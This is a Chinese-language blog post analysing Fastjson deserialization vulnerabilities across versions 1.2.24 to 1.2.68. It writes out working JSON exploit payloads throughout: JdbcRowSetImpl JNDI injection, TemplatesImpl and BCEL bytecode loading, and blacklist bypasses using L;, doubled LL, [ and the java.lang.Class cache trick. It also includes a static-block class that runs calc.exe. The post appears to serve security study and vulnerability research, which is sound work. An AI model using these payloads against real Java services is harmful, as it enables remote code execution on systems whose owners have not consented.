Fastjson反序列化

Fastjson反序列化

0x00 前言

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。fastjson是目前java语言中最快的json库,其功能完备且使用简单,因而使用非常广泛。自fastjson在1.2.24版本爆出第一次漏洞到至今,有着多次的安全补丁更新和绕过。

0x01 Fastjson简单使用和分析

Fastjson入口类是 com.alibaba.fastjson.JSON,主要的 API 是 JSON.toJSONString,parse和 parseObject。

1.简单环境

直接使用Maven导入依赖

<dependency>
	<groupId>com.alibaba</groupId>
	<artifactId>fastjson</artifactId>
	<version>1.2.24</version>
</dependency>

创建一个Study类用来测试

public class Student {
    private int age;
    private String name;
    public Student(){

    };
    public Student(String name,int age){
        this.name=name;
        this.age=age;
    }

    public int getAge() {
        System.out.println("调用了getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setAge");
        this.age = age;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }


    @Override
    public String toString(){
        return "{\"name\":\""+name+'\"'+",\"age\":"+age+'}';
    }
}

2.将类序列化为json

主要的 API 是 JSON.toJSONString,此方法有多种重载方法,可指定多个参数,常见参数如下:

  • Object :即将要序列化的对象

  • SerializerFeature:序列化属性

  • SerializeFilter:序列化过滤器

  • SerializeConfig:序列化时的配置

简单测试:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
    public static void main(String[] args) {
        Student student = new Student("Christ1na",20);
        String s1 = JSON.toJSONString(student);
        System.out.println("----------");
        String s2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println("s1:"+s1);
        System.out.println("s2:"+s2);
    }
}

看一下输出

image-20221110133326259

可以发现JSON.toJSONString()成功将类转换为json字符串,并且在转换的同时调用了getter方法,而指定SerializerFeature.WriteClassName参数后,其会将对象类型一起序列化并且会写入到@type字段中。

3.将 json反序列化为类

主要的 API 是JSON.parseObject()和JSON.parse()

尝试将json反序列化为类

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {

    public static void main(String[] args) {
        String s= "{\"@type\":\"fastjson.Student\",\"age\":20,\"name\":\"Christ1na\"}";
        Object parse = JSON.parse(s);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("----------------------");
        JSONObject jsonObject = JSON.parseObject(s);
        System.out.println(jsonObject);
        System.out.println(jsonObject.getClass().getName());
    }
}

看一下输出

image-20221110180735342

可以发现,当parse进行反序列化时,如果json字符串中有@type,会自动执行指定类中相对应属性的setter方法,并且会转换为@type指定类的类型

而parseObject进行反序列化时如果json字符串中有@type,会自动执行指定类的setter和getter方法,并且转换为JSONObject

那为什么parseObject可以调用getter方法呢?

我们来看一下源码

image-20221110180932347

发现会先调用parse方法,然后调用toJSON将对象强转为JSONObject类,而toJSON会调用getter方法

这里列举一些 fastjson 功能要点:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

那么如果存在一个类,其内存在恶意的getter、setter方法或利用链,那么我们使用fastjson的@type功能,就能对其进行恶意利用。

0x02 漏洞分析

1.2.24

影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。

主要有三种利用方式

1.JNDI注入

需要连接远程恶意服务器,在目标没外网的情况下无法直接利用,JDK191以后对JNDI注入做了限制

漏洞点在 com.sun.rowset.JdbcRowSetImpl ,触发点在javax.naming.InitialContext#lookup(),其参数可控,很明显的JNDI注入

其内存在的setAutoCommit方法,调用了this.connect()

image-20221114163025221

跟进this.connect()方法,其调用了var1.lookup()方法,

image-20221114163317366

跟进var1.lookup(),即javax.naming.InitialContext#lookup(),很明显的JNDI注入,而name参数则是由从成员变量 dataSource 中获取

image-20221114163452431

那么构造payload也十分简单了:

{
	"@type":"com.sun.rowset.JdbcRowSetImpl", 
	"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true //false也行
}

测试,成功RCE

image-20221114175440187

2.TemplatesImpl 加载字节码

需要开启Feature.SupportNonPublicField,比较鸡肋

漏洞点在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties(),这个利用点跟CC3的一样,最终调用defineClass()加载恶意字节码,从而执行任意代码

image-20221114180107647

我们来见简单分析一下,首先是getOutputProperties()方法,会调用newTransformer()

image-20221114180338492

跟进newTransformer(),会调用getTransletInstance()方法

image-20221114180411810

而在getTransletInstance()方法中,如果_class为null,则会调用defineTransletClasses(),同时_name不能为空

image-20221114181416317

而在defineTransletClasses()中,会使用自定义的defineClass去加载字节码,而这个 _bytecodes为该类的成员属性,也就是可控的。同时被加载的类其父类必须为ABSTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

image-20221114181556939

那么完整的流程为

TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

该类存在成员属性_outputProperties,因此我们可以调用getOutputProperties()方法,从而触发恶意利用链。

由于部分需要更改的私有变量没有 setter 方法,所以需要使用 Feature.SupportNonPublicField 参数。尝试构造payload:

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAA...CABk="],
	"_name": "Christ1na",
	"_tfactory": {},
	"_outputProperties": {},
}

测试,成功触发漏洞

image-20221114190757644

3.BCEL加载字节码

可直接在目标本地利用,无额外条件

需要dbcp2包,而tomcat中自带此包,我这里是直接使用maven导入的org.apache.commons.dbcp2

但是在Java 8u251以后,BCEL ClassLoader就用不了了。

详情可看p牛的BCEL ClassLoader去哪了

漏洞点位于dbcp.dbcp2.BasicDataSource中

首先来看入口点getConnection(),其调用了createDataSource()方法

image-20221114203911422

接着调用了createConnectionFactory()方法

image-20221114203936702

在createConnectionFactory()方法中,如果dataSource不为null,则会执行Class.forName(this.driverClassName, true, this.driverClassLoader);

image-20221114204002937

很明显,当Class.forName的第二个参数为true时,类加载后会执行static代码块中的内容,而driverClassName和 driverClassLoader都为该类的属性,可以控制,所以只要找到一个可以利用的恶意类即可,此时就会用到BCEL ClassLoader

该类位于com.sun.org.apache.bcel.internal.util.ClassLoader,其重写了Java内置的ClassLoader#loadClass()方法

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对 B C E L BCEL BCEL后面的字符串进行解码,然后作为Class的字节码,并调用 defineClass() 获取 Class 对象

我们可以编写一个恶意类Evil:

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

然后将Evil生成BCEL形式的字节码。使用这个字节码来新建对象,将会调用到计算器:

package fastjson;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class bcel {
    public static void main(String[] args) throws Exception{
        JavaClass javaClass = Repository.lookupClass(test1.class);
        String code = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code);
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();

    }
}

image-20221114205529572

那么直接构造payload:

{
    {
        "aaa": {
                "@type": "org.apache.commons.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

成功触发漏洞代码

image-20221114210619232

为什么我们这里会这样构造payload呢?

我们知道此利用链的入口点为BasicDataSource.getConnection()方法,JSON.parse() 会调用满足特定条件的 getter 方法,显然getConnection()方法并不满足条件,因此如果我们使用parse()方法去正常反序列化它显然是不会触发的,当然如果用JSON.parseObject()是可以直接触发的。

原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。

首先,在 {“@type”: “org.apache.commons.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象。

然后,将这个 JSONObject 放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法:

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436

if (object.getClass() == JSONObject.class) {
    key = (key == null) ? "null" : key.toString();
}

这样就能调用BasicDataSource.getConnection()方法了,完整poc应该是这样的:

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "aaa":{
                "@type": "org.apache.commons.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "bbb"
}

1.2.25-1.2.41

影响版本:1.2.25 <= fastjson <= 1.2.41
描述:在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

在com.alibaba.fastjson.parser.ParserConfig中,添加了几个新变量:

image-20221119131541363

  • autoTypeSupport:用来标识是否开启任意类型的反序列化,并且默认关闭,为true时会使用checkAutoType来进行安全检测
  • denyList:反序列化类的黑名单
  • acceptList:反序列化白名单

我们来看一下checkAutoType()函数的拦截逻辑:

首先在开启autoTypeSupport的情况下,会对类名进行白名单检测,如果符合则进入TypeUtils.loadClass,然后进行黑名单检测,如果类名在黑名单中直接抛出异常

image-20221119132536199

继续向下看,如果autoTypeSupport没有开启,先进行黑名单匹配,如果匹配上抛出异常,在进行白名单匹配,匹配成功则进行加载。最后如果黑白名单都未匹配上且开启了auto则会调用TypeUtils.loadClass

image-20221119142309580

跟进一下loadClass,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符。

image-20221119142801852

因此在此位置出现了逻辑漏洞,如果开启了autoType,可以在@type的前后分别加上L ;来进行绕过黑名单的限制

需要开启aotoType

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

payload:

{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", 
	"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true
}

1.2.42

影响版本:1.2.25 <= fastjson <= 1.2.42

描述:将原本的明文黑名单转为使用了 Hash 黑名单,同时之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

看一下com.alibaba.fastjson.parser.ParserConfig的变化,以此来防止安全人员对其研究。

image-20221119144300168

而且在 checkAutoType加入了新的过滤,如果类第一个字符是 L 结尾是 ;,会使用 substring函数进行了去除,显然可进行双写绕过,

image-20221119144608821

payload:

{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", 
	"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true
}

1.2.43

影响版本:1.2.25 <= fastjson <= 1.2.43
描述:修复上一个版本中双写绕过的问题

增加新判断,如果类名中出现两个LL则抛出异常

image-20221119150010683

但是在 loadClass 的过程中,还针对 [ 也进行了处理和递归,那么也可以利用 [ 进行黑名单的绕过

payload:

{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[, 
	{"dataSourceName":"rmi://127.0.0.1:8000/calc",
	"autoCommit":true
}

1.2.44

影响版本:1.2.25 <= fastjson <= 1.2.44
描述:修复了使用 [ 绕过黑名单防护的问题,在此版本之后,由字符串处理导致的黑名单绕过就结束了。

checkAutoType中进行判断,如果类名以[开始直接抛出异常

image-20221119151036449

1.2.45

影响版本:1.2.25 <= fastjson <= 1.2.45
描述:在此版本又被爆出了一个黑名单绕过,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。

payload:

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:7777/calc"
    }
}

1.2.47

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47

描述:此版本出现了重大漏洞,可以在不开启AutoTypeSupport的情况下进行反序列化的利用。原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping中,从而绕过checkAutoType检测

我们来看一下checkAutoType() 方法,在开启autoTypeSupport的情况下,会先进行白名单判断,然后进行黑名单判断时,会判断TypeUtils.getClassFromMapping(typeName) 是否为null,如果不为空,则会继续向下走,从Mappingdeserializers中寻找类,如果存在则返回clazz

image-20221119160137933

那么如果未开启autoTypeSupport,代码会先从Mappingdeserializers中寻找类,如果存在则返回clazz,从而绕过后面的黑名单检测

image-20221119160934342

那我们如何才能在这两步中将我们的恶意类加载进去呢?

其中deserializers我们无法向其传参,所以无法利用,那我们着重看一下TypeUtils.getClassFromMapping(typeName)。

该方法从 TypeUtils.mappings 中取值,mapping.put方法用来向mappings赋值,其在以下两个函数中被调用:

  • addBaseClassMappings()
  • loadClass

而addBaseClassMappings()为无参的方法,无可控参数,我们来看一下loadClass()方法:

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
		...//前面代码为检查类名 
        try{
            //classLoader不为空,cache为true,则将参数中的className加入mappings中
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            //如果第一次失败,以当前的contextClassLoader来加载类,cache为true,将参数中的className加入mappings中
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
        }
    	//如果前两次失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
        }
        return clazz;
    }

那么只要我们能控制该方法的参数,就能向mappings中写入类名,而在当前类中,loadClass有三个重载方法,其中className参数均可控,那我们找一下这些函数在哪里被调用且可利用

image-20221119172214581

最后我们找到了com.alibaba.fastjson.serializer.MiscCodec#deserialze方法,其调用了两个参数的loadClass()

image-20221119172434675

其cache为true,所以可被利用

image-20221119173941735

那我们看一下MiscCodec#deserialze方法,首先clazz必须为Class.class,也就是java.lang.Class,这个clazz为deserialze方法的参数,如何赋值先这里先不解释

image-20221119172903464

然后将 strVal 加入mappings中,那么这个strVal是如何赋值的呢?

其是由objVal赋值image-20221119175047477

我们继续跟一下objVal如何被赋值,这里第一个if默认为true,而第二个判断是我们的json字符串中必须有val属性,最后objVal的值为从JSON中解析到的val的值

image-20221119174743495

那么如何能调用deserialze方法并使clazz == Class.class呢?

ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加Class.class

image-20221121143256233

进行json反序列化时,会调用checkAutoType()方法,当我们传入的类名为java.lang.class,其会返回clazz等于java.lang.class

image-20221121143744471

随后会调用deserialze方法,该方法位于checkAutoType()方法之后调用,因而可成功调用loadClass方法,向mappings中添加我们的恶意类

image-20221121144019496

那我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击

payload:

{
    "1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://127.0.0.1:7777/calc", 
        "autoCommit": true
    }
}

1.2.48

MiscCodec中修改了cache的默认值为false,并且对TypeUtils.loadClass中的mapping.put做了限制,可以避免使用了 Class 提前将恶意类名缓存进去

1.2.68

影响版本:fastjson <= 1.2.68
描述:在此版本中新增了safeMode功能,如果开启的话,将在 checkAutoType() 中直接抛出异常,等于是完全禁止了autotype。但爆出了可以在不开启safeMode的前提下,利用 expectClass 绕过 checkAutoType()

checkAutoType()函数新加逻辑,如果safeMode开启直接抛出异常

image-20221121151829062

可以利用 expectClass 绕过 checkAutoType(),在checkAutoType()中有这么一个判断:如果传入 expectClass 参数,且传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以绕过后面的安全检测。

image-20221121152117919
expectClassFlag的值为true时,会调用TypeUtils.loadClass加载类
image-20221121154652813

其中java.lang.AutoCloseable因为在白名单中,因此可以使用其子类来进行绕过autoTypeSupport
总结一下恶意类要满足的条件:

  • 恶意类不在黑名单内
  • 恶意类的父类(例如AutoCloseable)不在黑名单内
  • 恶意类不能是抽象类
  • 恶意类中的getter/setter/static block/constructor能触发恶意操作

1.2.80

后续版本绕过待补充…

参考链接:

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

https://su18.org/post/fastjson/

http://tttang.com/archive/1579/#toc_fastjson

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

  • 5
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Fastjson是一个Java语言编写的高性能JSON处理库,可以实现JSON字符串与Java对象之间的相互转换。在Fastjson中,反序列化就是将JSON字符串转换为Java对象的过程。 要进行Fastjson反序列化,首先需要将JSON字符串作为输入,然后使用Fastjson提供的API将其转换为Java对象。以下是一个简单的示例代码: ```java import com.alibaba.fastjson.JSON; public class FastjsonExample { public static void main(String[] args) { String jsonString = "{\"name\":\"Alice\",\"age\":25}"; // 将JSON字符串反序列化Java对象 Person person = JSON.parseObject(jsonString, Person.class); System.out.println(person.getName()); // 输出:Alice System.out.println(person.getAge()); // 输出:25 } } class Person { private String name; private int age; // 省略构造函数和其他方法 // Getter和Setter方法 } ``` 在上述示例中,首先定义了一个Person类,该类包含了name和age两个属性。然后,使用`JSON.parseObject`方法将JSON字符串`jsonString`反序列化为Person对象。 需要注意的是,Fastjson会根据属性名匹配JSON中的字段,并将对应字段的值赋给属性。因此,在进行反序列化时,要确保Java类的属性名与JSON中的字段名一致,或者使用`@JSONField`注解来指定字段名和属性名之间的映射关系。 以上就是使用Fastjson进行反序列化的基本步骤和示例代码。希望能对你有所帮助!如果有更多问题,请继续提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值